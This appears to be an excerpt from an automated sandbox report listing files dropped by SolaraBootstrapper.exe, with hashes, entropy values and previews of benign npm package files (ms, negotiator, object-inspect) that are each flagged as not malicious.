SHA1:	4D354DA7ECE1C7D5689B8104F3B6F3DCBAC7790E
SHA-256:	30FBFAA3840B2F63978AD4BCD7ED8DC24D277B818E4755FE93EDA8CB1BC8B74C
SHA-512:	E329A6F6A38DD33BD60334A8DEC4A91AA6E7DAB28F0893240374AE6A303C12646399D821403E3B80EB51317D1808E6ABF30BD91B0BD99951F96815A22BA105C7
Malicious:	false
Preview:	{. "name": "ms",. "version": "2.0.0",. "description": "Tiny milisecond conversion utility",. "repository": "zeit/ms",. "main": "./index",. "files": [. "index.js". ],. "scripts": {. "precommit": "lint-staged",. "lint": "eslint lib/* bin/",. "test": "mocha tests.js". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true,. "es6": true. }. },. "lint-staged": {. ".js": [. "npm run lint",. "prettier --single-quote --write",. "git add". ]. },. "license": "MIT",. "devDependencies": {. "eslint": "3.19.0",. "expect.js": "0.3.1",. "husky": "0.13.3",. "lint-staged": "3.4.1",. "mocha": "3.4.1". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	4.954772186039823
Encrypted:	false
SSDEEP:	24:I/nyO7YNfNSBe9CsGdPXkj0cC3aE1y9bM/kLZ2eyJVHBbGPIQV:wygufEBegDo0hcLIdpbGf
MD5:	90E631C6AFCCDE3ED414D3D230734864
SHA1:	E875D9FA741FE44893C778974860F362724E35EC
SHA-256:	C9AC67FF103C01871B0FF09E2F094631991908C1FD0DC08BDB53287E5A760AE5
SHA-512:	BC98602BB2B67AE4FEFAC895CEF22F3C25B2E765D9074121700DC523365FEB252BA813684275F74B7FFCA4A8CBF34B68384AAE1A84BB76D09E55413741172005
Malicious:	false
Preview:	# ms..[![Build Status](https://travis-ci.org/zeit/ms.svg?branch=master)](https://travis-ci.org/zeit/ms).[![Slack Channel](http://zeit-slackin.now.sh/badge.svg)](https://zeit.chat/)..Use this package to easily convert various time formats to milliseconds...## Examples..```js.ms('2 days') // 172800000.ms('1d') // 86400000.ms('10h') // 36000000.ms('2.5 hrs') // 9000000.ms('2h') // 7200000.ms('1m') // 60000.ms('5s') // 5000.ms('1y') // 31557600000.ms('100') // 100.```..### Convert from milliseconds..```js.ms(60000) // "1m".ms(2 * 60000) // "2m".ms(ms('10 hours')) // "10h".```..### Time format written-out..```js.ms(60000, { long: true }) // "1 minute".ms(2 * 60000, { long: true }) // "2 minutes".ms(ms('10 hours'), { long: true }) // "10 hours".```..## Features..- Works both in [node](https://nodejs.org) and in the browser..- If a number is supplied to `ms`, a string with a unit is returned..- If a string that co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	4.724481905020091
Encrypted:	false
SSDEEP:	48:QgDLBhJIxPY/DeJ2/xA6rgYwN1RvZrQNLkrtC:RDJIxQbeJ7LN1JZrpZC
MD5:	DDC51C280EC46D9811670F9D184AF3E5
SHA1:	2FE55382F30DEC2AE79C116A280CB5DFA51B9772
SHA-256:	6B25039B6A40F7FCB7EB6DC891418D154C4B4154284F58C6BFFCB10AD7587A6D
SHA-512:	8C34483B20AFD92FC17C51A6DF6227E5DCA5B4D8EEED0989DD34371951CB87D323F7BCBF59B9CBC602AE521A8495C18553652189600E9735396A9AD62893D3D1
Malicious:	false
Preview:	0.6.3 / 2022-01-22.==================.. * Revert "Lazy-load modules from main entry point"..0.6.2 / 2019-04-29.==================.. * Fix sorting charset, encoding, and language with extra parameters..0.6.1 / 2016-05-02.==================.. * perf: improve `Accept` parsing speed. * perf: improve `Accept-Charset` parsing speed. * perf: improve `Accept-Encoding` parsing speed. * perf: improve `Accept-Language` parsing speed..0.6.0 / 2015-09-29.==================.. * Fix including type extensions in parameters in `Accept` parsing. * Fix parsing `Accept` parameters with quoted equals. * Fix parsing `Accept` parameters with quoted semicolons. * Lazy-load modules from main entry point. * perf: delay type concatenation until needed. * perf: enable strict mode. * perf: hoist regular expressions. * perf: remove closures getting spec properties. * perf: remove a closure from media type parsing. * perf: remove property delete from media type parsing..0.5.3 / 2015-05-10.===========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	5.190424654953496
Encrypted:	false
SSDEEP:	24:5HsZxQiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:+xQiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6417A862A5E35C17C904D9DDA2CBD499
SHA1:	73FEC64FD8A5CEDDBF65F705987A547C3678D981
SHA-256:	553D4D20029A24E315B428A1A54A9E109EAA340F2E958A4F50A92362C2C4070B
SHA-512:	715C695587A028733A092DB12C8CF2986AC745D2D2F958961DAA8F9B9457744BE63C9521C0D34B594BB4E0884A00C5E41E19BEB9666E426511863C2D8241C334
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 Federico Romero.Copyright (c) 2012-2014 Isaac Z. Schlueter.Copyright (c) 2014-2015 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4901
Entropy (8bit):	5.022969815301353
Encrypted:	false
SSDEEP:	96:1XCnQzGp9F0CMKE8111mCMTpLvdjhSdd/0K034UKx1oJoDZouADT1KOii:1y9pF111mtF9230IHSJAuX5rN
MD5:	25135D2847230D4854AC342D46AB9E62
SHA1:	64E77F542A43606888D9557240DCA30597DAE242
SHA-256:	B0350B39C18CF8F0D28F078913C91CCCFCBE3ECE1EC6C3CB8EB4C9FD64ADB160
SHA-512:	84DCA1F145B7C35A5C5E2607C97FBAB7B5F64C5C48095E57467FDBA7A503B2FEC30891521A3E85AE5B7EFFDCAFB5A992B856A93417B2F8F464C77EB585FA1759
Malicious:	false
Preview:	# negotiator..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..An HTTP content negotiator for Node.js..## Installation..```sh.$ npm install negotiator.```..## API..```js.var Negotiator = require('negotiator').```..### Accept Negotiation..```js.availableMediaTypes = ['text/html', 'text/plain', 'application/json']..// The negotiator constructor receives a request object.negotiator = new Negotiator(request)..// Let's say Accept header is 'text/html, application/;q=0.2, image/jpeg;q=0.8'..negotiator.mediaTypes().// -> ['text/html', 'image/jpeg', 'application/']..negotiator.mediaTypes(availableMediaTypes).// -> ['text/html', 'application/json']..negotiator.mediaType(availableMediaTypes).// -> 'text/html'.```..You can check a working example at `examples/accept.js`...#### Metho

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2451
Entropy (8bit):	4.818099111813789
Encrypted:	false
SSDEEP:	48:Uqxr13RsVlW7GA0GCGbhkX7diNde53AOaaHeF3fPgGdjR22Y8UflX48w:psTWmKkEVtIpa
MD5:	279D02856C1815CE3B6745EE234A91AE
SHA1:	D2DCE41C415F88B5BB49939290D542BEF8EC598D
SHA-256:	4F9279BCFFC74199C671739F2D0E91FE5176A7F7E4683CA59809A50463A842BD
SHA-512:	3751B886D3F78D0BE1E5010B6086B0DF1175F85D52A75A11E9F09232BC35EDDB8E92DEE4F219B705F98A23C05EAEBB79C414D4F57C9FC7EF1E3E831E41E1BCAF
Malicious:	false
Preview:	/!. negotiator. * Copyright(c) 2012 Federico Romero. * Copyright(c) 2012-2014 Isaac Z. Schlueter. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';..var preferredCharsets = require('./lib/charset').var preferredEncodings = require('./lib/encoding').var preferredLanguages = require('./lib/language').var preferredMediaTypes = require('./lib/mediaType')../. Module exports.. * @public. /..module.exports = Negotiator;.module.exports.Negotiator = Negotiator;../. Create a Negotiator instance from a request.. * @param {object} request. * @public. */..function Negotiator(request) {. if (!(this instanceof Negotiator)) {. return new Negotiator(request);. }.. this.request = request;.}..Negotiator.prototype.charset = function charset(available) {. var set = this.charsets(available);. return set && set[0];.};..Negotiator.prototype.charsets = function charsets(available) {. return preferredCharsets(this.request.headers['accept-charset'], available)

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\charset.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3081
Entropy (8bit):	4.842295755350585
Encrypted:	false
SSDEEP:	96:JMZbj90LFCq7EfTb+X2d2/2O9T1d0/xKUNYbd3REslT:JMZmLcqAf+X2d2/9TzoxKCYTJ
MD5:	7977A65B1542FA8CE9650E58607F4B07
SHA1:	BF9F25A7BF6DC2176B70BC9DA04FC162BDFBF4C4
SHA-256:	E6522A2DF58F21A6CDF8D146F7E85B9A49BCAF68B813DEC15068A8E84FC582C3
SHA-512:	6C5B88F2F56099018F13E40F0C675352271E63E928B03CD25630BDA95059E5C289C78752947DC29E309E66264173D6CED7CC63FCBF0518E955BA12A2BABF5396
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredCharsets;.module.exports.preferredCharsets = preferredCharsets;../. Module variables.. * @private. /..var simpleCharsetRegExp = /^\s([^\s;]+)\s(?:;(.))?$/;../*. Parse the Accept-Charset header.. * @private. /..function parseAcceptCharset(accept) {. var accepts = accept.split(',');.. for (var i = 0, j = 0; i < accepts.length; i++) {. var charset = parseCharset(accepts[i].trim(), i);.. if (charset) {. accepts[j++] = charset;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a charset from the Accept-Charset header.. * @private. */..function parseCharset(str, i) {. var match = simpleCharsetRegExp.exec(str);. if (!match) return null;.. var charset = match[1];. var q = 1;. if (matc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\encoding.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3506
Entropy (8bit):	4.858041738762427
Encrypted:	false
SSDEEP:	96:Jz9lluqA5w1W3OFdaxv7VTbYxs2M2vKDgB1dd/xK3viNQAbd3RBslT:Jz9PuFw1cO2RBYxs2M3DgBzlxKfQ3aJ
MD5:	E03DD226452C58CE083AB4468851F0B1
SHA1:	6066E153BCAC0D060CD2E475DDAD0E239422AA0D
SHA-256:	35421DC78D3C1B608922427BBD6E524518168621FF1A44919FC591CA297E813C
SHA-512:	F1966A345F3380075325952275A6AC0668FEA52AE4CAAD431D8AB9068AFE1A3C17B62D2BE0DD9E19B48D843ECF3A58F94DBD52240A69234A2B232044468CD86F
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredEncodings;.module.exports.preferredEncodings = preferredEncodings;../. Module variables.. * @private. /..var simpleEncodingRegExp = /^\s([^\s;]+)\s(?:;(.))?$/;../*. Parse the Accept-Encoding header.. * @private. /..function parseAcceptEncoding(accept) {. var accepts = accept.split(',');. var hasIdentity = false;. var minQuality = 1;.. for (var i = 0, j = 0; i < accepts.length; i++) {. var encoding = parseEncoding(accepts[i].trim(), i);.. if (encoding) {. accepts[j++] = encoding;. hasIdentity = hasIdentity \|\| specify('identity', encoding);. minQuality = Math.min(minQuality, encoding.q \|\| 1);. }. }.. if (!hasIdentity) {. /. * If identity doesn't explicitly appear in the accept-encoding header,.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\language.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3409
Entropy (8bit):	4.93193307417238
Encrypted:	false
SSDEEP:	96:JSD+3n3BTQbFSv72TbQOZS2cueSKyeT2vZ3Z1d2/xKaNrMbd3RgQslT:JSDQn9Qb+UQOZS2SSK5Tg3ZzaxKorMkt
MD5:	F10E434AE4EED2D3D46FF47582ED9938
SHA1:	248BAA661B5CD4A4368E1DE987A5A911636C41AB
SHA-256:	4AEBB44DA06094F2D56F0B20B4FBDD542CDA00A4C9295E10BBE55203701C9024
SHA-512:	D7BAC6E2CE28525D67E0B8EFF4E2FE1868D11EC69F98C310C1E6258504BCDEFCECACE967A7721FDEABD93AA18D0D40D1BFE54DCEDF0991ED12119AF8BDE74490
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredLanguages;.module.exports.preferredLanguages = preferredLanguages;../. Module variables.. * @private. /..var simpleLanguageRegExp = /^\s([^\s\-;]+)(?:-([^\s;]+))?\s(?:;(.))?$/;../*. Parse the Accept-Language header.. * @private. /..function parseAcceptLanguage(accept) {. var accepts = accept.split(',');.. for (var i = 0, j = 0; i < accepts.length; i++) {. var language = parseLanguage(accepts[i].trim(), i);.. if (language) {. accepts[j++] = language;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a language from the Accept-Language header.. * @private. */..function parseLanguage(str, i) {. var match = simpleLanguageRegExp.exec(str);. if (!match) return null;.. var prefix = mat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\mediaType.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5358
Entropy (8bit):	4.867691098214956
Encrypted:	false
SSDEEP:	96:JYFkWOwcE7FtJqyWGYYIb7wTblzuXrDciMaTmgI8CY1dzM/xKSNKbd3RFUslgXLl:JYFkW97RWtYIb+lzuXrDcfwmavzzgxKY
MD5:	0FDAA0ED7CAB2CE5FCBD7B361A85892C
SHA1:	9FE7D1F6570E870BF5A90ADA7BA1A7A53480F5CC
SHA-256:	0DAB239C924FA4D5F823548E25DC9F10315BF490B821827B640318B7AA200577
SHA-512:	44BFBECB293939BC5DF1B98C483FC01F36640DE15225D936B919F733A202CCDDA2F727F5543853DE6E541157BDDE8BF57F9CFC918E0EAD1B990569E1779A7BA7
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredMediaTypes;.module.exports.preferredMediaTypes = preferredMediaTypes;../. Module variables.. * @private. /..var simpleMediaTypeRegExp = /^\s([^\s\/;]+)\/([^;\s]+)\s(?:;(.))?$/;../*. Parse the Accept header.. * @private. /..function parseAccept(accept) {. var accepts = splitMediaTypes(accept);.. for (var i = 0, j = 0; i < accepts.length; i++) {. var mediaType = parseMediaType(accepts[i].trim(), i);.. if (mediaType) {. accepts[j++] = mediaType;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a media type from the Accept header.. * @private. */..function parseMediaType(str, i) {. var match = simpleMediaTypeRegExp.exec(str);. if (!match) return null;.. var params = Object.create(n

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	993
Entropy (8bit):	4.782116934931483
Encrypted:	false
SSDEEP:	12:dc6V1CxR7CB6gi599qPdreLlc6Upu1ZHFPtYuNZWiTjkQfcGa3gPGWdVSYMiP095:dr1CxVW4y9I97YuNZWixTB0xLt
MD5:	5D2BC8AE77831203C6D0CE3A17E599CF
SHA1:	3C1B22E6ECAE04B514912326957E6A205B015098
SHA-256:	8672E91F7395CE51EC789D883D7F7D872A40847BB83A6A3F89C3D1DED39E55D9
SHA-512:	C22AD9D7E1C091B26CA5ABCB7F6E7338EB79BD36E1228DAD9EC6903C9922A2451F518C21507CC82DCCD69BE13132368DE7EFCAD1DE7BA56270C7997DECF3A1AA
Malicious:	false
Preview:	{. "name": "negotiator",. "description": "HTTP content negotiation",. "version": "0.6.3",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Federico Romero <federico.romero@outboxlabs.com>",. "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)". ],. "license": "MIT",. "keywords": [. "http",. "content negotiation",. "accept",. "accept-language",. "accept-encoding",. "accept-charset". ],. "repository": "jshttp/negotiator",. "devDependencies": {. "eslint": "7.32.0",. "eslint-plugin-markdown": "2.2.1",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "files": [. "lib/",. "HISTORY.md",. "LICENSE",. "index.js",. "README.md". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	3.7619199630703575
Encrypted:	false
SSDEEP:	12:k4s2iAdJu/yWJLy0R6m0RvwiorEf+XnH1sffq3ZfZQVN8T+L6lhHpaK6v/ynfQ0A:k4sGJu/Rt6RvwHrXH+nOK8a6K0Qj
MD5:	513690D7F29CCE876C22A14C39D84B4F
SHA1:	B3EF00B90390F9190F17DFDCF53B3D5B49216626
SHA-256:	22417AF06C6566E098C56C7FB458AA716010DEDB878E2BF9C0B9F06BB40E6BC7
SHA-512:	81D27B89931E6EB94415AD4673372444490832076F90288BD9A51751595105040FAE9369BDA4C0E4DF8EC781DFDA223FB971A66497C9F1DFE9319A1B1E33C2D5
Malicious:	false
Preview:	{. "root": true,. "extends": "@ljharb",. "rules": {. "complexity": 0,. "func-style": [2, "declaration"],. "indent": [2, 4],. "max-lines": 1,. "max-lines-per-function": 1,. "max-params": [2, 4],. "max-statements": 0,. "max-statements-per-line": [2, { "max": 2 }],. "no-magic-numbers": 0,. "no-param-reassign": 1,. "strict": 0, // TODO. },. "overrides": [. {. "files": ["test/*", "test-", "example/"],. "extends": "@ljharb/eslint-config/tests",. "rules": {. "id-length": 0,. },. },. {. "files": ["example/"],. "rules": {. "no-console": 0,. },. },. {. "files": ["test/browser/*"],. "env": {. "browser": true,. },. },. {. "files": ["test/bigint"],. "rules": {. "new

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	585
Entropy (8bit):	4.701149886814445
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMMgflgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgnKlg7g1GegJ9gEz4D
MD5:	1080329B277136E270B1D9F46EC6198F
SHA1:	329714C4D2C4FB4F75A17708BDB8372FFB087402
SHA-256:	C5D7D674C3932A7E2962B172028B54A41540916A991CDD9EE0BF60F901EB00AE
SHA-512:	D8EF9F2F1137B7C981AF53322AF6A6F0B96B41E13C24754FC6A95A4141220FA9EC63F57960B99ED739BE009E83ADF9BB95EC4F569DFF11FB04CB5AAB528F17E3
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/object-inspect.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.3441025829035045
Encrypted:	false
SSDEEP:	6:dpmSh9OfyMLC15IW5IudRaB9ZGeiMeIrJdqG//uWgW7M0CsC:XmEO6KSIWyuTaB94vM5rJdqovd/y
MD5:	E3CA1E101DF537732DDFBABE9660F0CD
SHA1:	FC1951C10D45C316DA074AB5970E2FDE75664F41
SHA-256:	054EEDA03A706B8EB6821A2CC2D47080C7D6CB031C82252FF9A13460FEF3BB8E
SHA-512:	BB2D5EF5D4FCFA7BD10CB59039FE394C3990CEE57BD04BFFFA1C720AA8B5C9A1116412EC8112096C4201762F4B7FEF9BB4AD9574B4C5196EBAB94124DD474473
Malicious:	false
Preview:	{. "all": true,. "check-coverage": false,. "instrumentation": false,. "sourceMap": false,. "reporter": ["text-summary", "text", "html", "json"],. "exclude": [. "coverage",. "example",. "test",. "test-core-js.js". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	33226
Entropy (8bit):	5.2642497944684115
Encrypted:	false
SSDEEP:	384:EDrkOgLATKj4HAGAqw9eOrYnkiOC3CKTvuap6NMb8QclYo1IV7+DztX:EDwO7rAqRQYkihc06NNJ1s7EtX
MD5:	BA98096406B0A4D08AB41CB8DA9BE1F5
SHA1:	F57516529353B87743613506F6218E0A8E14BEC5
SHA-256:	2ABFE4F34C8505191B12272923FA52EF6A1B6F57FBE0AC345F0EC6BD9D77F26C
SHA-512:	B59CFE87CBAB2CC1912929F8E1EB0A3C7E240F9B3C3576D90B049D92429ED848B991DCAFBECFCA5F58369401378A4AAE949C1776BC1563F6B5B6089139BDC693
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.13.1](https://github.com/inspect-js/object-inspect/compare/v1.13.0...v1.13.1) - 2023-10-19..### Commits..- [Fix] in IE 8, global can !== window despite them being prototypes of each other [`30d0859`](https://github.com/inspect-js/object-inspect/commit/30d0859dc4606cf75c2410edcd5d5c6355f8d372)..## [v1.13.0](https://github.com/inspect-js/object-inspect/compare/v1.12.3...v1.13.0) - 2023-10-14..### Commits..- [New] add special handling for the global object [`431bab2`](https://github.com/inspect-js/object-inspect/commit/431bab21a490ee51d35395966a504501e8c685da).- [Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape` [`fd4f619`](https://github.com/inspect-js/object-inspect/commit/fd4f6193562b4b0e95dcf5c0201b4e8cbbc4f58d).- [Dev Deps]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.105115233241345
Encrypted:	false
SSDEEP:	24:2rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:2aJHlxE3dQHOs5exm3ogFh
MD5:	288162F1D1BFA064F127F2B42D2A656F
SHA1:	316F0F178C369820DCCBAC7E4D5D54E4606F578B
SHA-256:	BD40CC437E28A3AD7BEF2AD34E6B72E757B182E67BDA1ACADBAB4EF0476F8232
SHA-512:	C52EAC54E782280792A159E2678EC15447C21CE7EB9F59E13DAB9D6D247AEFD3B99B0CB13C73ADBB6022F4DDFB5C436D2AE9F1547356714E6457521342EA9B11
Malicious:	false
Preview:	MIT License..Copyright (c) 2013 James Halliday..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\all.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	391
Entropy (8bit):	4.661165065013885
Encrypted:	false
SSDEEP:	6:Qhxi5mXe69QsKKiKRZggWotmqqpMF4D/gJFzWbWvNFCMsFLaYwKGAfv:siUXe69bKyD/ZEqqqqUJFzWoYFLT/Gyv
MD5:	B8D442ED717383560FEB97C876F25ABA
SHA1:	FF17B58E84D8D114C426DEDF40DAAA7A9293412D
SHA-256:	FCF0C7B568EB8914F89824172EC41782C57070BDC813D5FE27F165A90F628078
SHA-512:	DF5ED218FCA9B77099A8E96D4991BC1A470021B89D03CE16B818F17C7B0BB9CE1C6461E98B04B33AE0CAF7D066D5828B3AFB707E62B0A3D350C2604A541C18C1
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var Buffer = require('safer-buffer').Buffer;..var holes = ['a', 'b'];.holes[4] = 'e';.holes[6] = 'g';..var obj = {. a: 1,. b: [3, 4, undefined, null],. c: undefined,. d: null,. e: {. regex: /^x/i,. buf: Buffer.from('abc'),. holes: holes. },. now: new Date().};.obj.self = obj;.console.log(inspect(obj));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\circular.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.7623169151259654
Encrypted:	false
SSDEEP:	3:agWIFMiVArFXAUprHR+mL3mY3tcPzWAgGeHUvn:Qhx/R+mLf3KyAfv
MD5:	0C8451B3BAC0583E123CB7B1050FB6AB
SHA1:	37E1A753EF1553066F30DC096283352C19AE06EF
SHA-256:	B73A9884E6566F11892FE8D2C42000170109E9A2EBB47E9FEE80FA8E040AAA5A
SHA-512:	F5D0D89DFE247A2BE76F32E1A7E17E76870A4D6B8564EE091D34E1856029F4F4C4BF9A600D7B47C2CB261E33D208390CA106F217E3EA57C5AB22A55514123118
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var obj = { a: 1, b: [3, 4] };.obj.c = obj;.console.log(inspect(obj));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\fn.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	126
Entropy (8bit):	4.760078617188589
Encrypted:	false
SSDEEP:	3:agWIFMiVArFXAUprHxQFwyXt3t0Qbx0fkFCKAgGeHUvn:Qhx/xQay93C9fMCKAfv
MD5:	AF9618022DB9BA0071797196C10D751A
SHA1:	D7295C7B7D9B73E6760C96E1A9B8BDA6B45FCE6B
SHA-256:	FF646D533194CD0B8A6C684B82E899C0930A3EBF944ABDEE8070C7C84F6A0BEF
SHA-512:	F6BBC3329238159039A73E81FCD8E43E862A76DA22DD092326176B7235555E1DC32858187E8E1E4C0AE0F9ADF0E91FB7FE031EBD1184950D296C07DEDEAB2B05
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var obj = [1, 2, function f(n) { return n + 5; }, 4];.console.log(inspect(obj));.

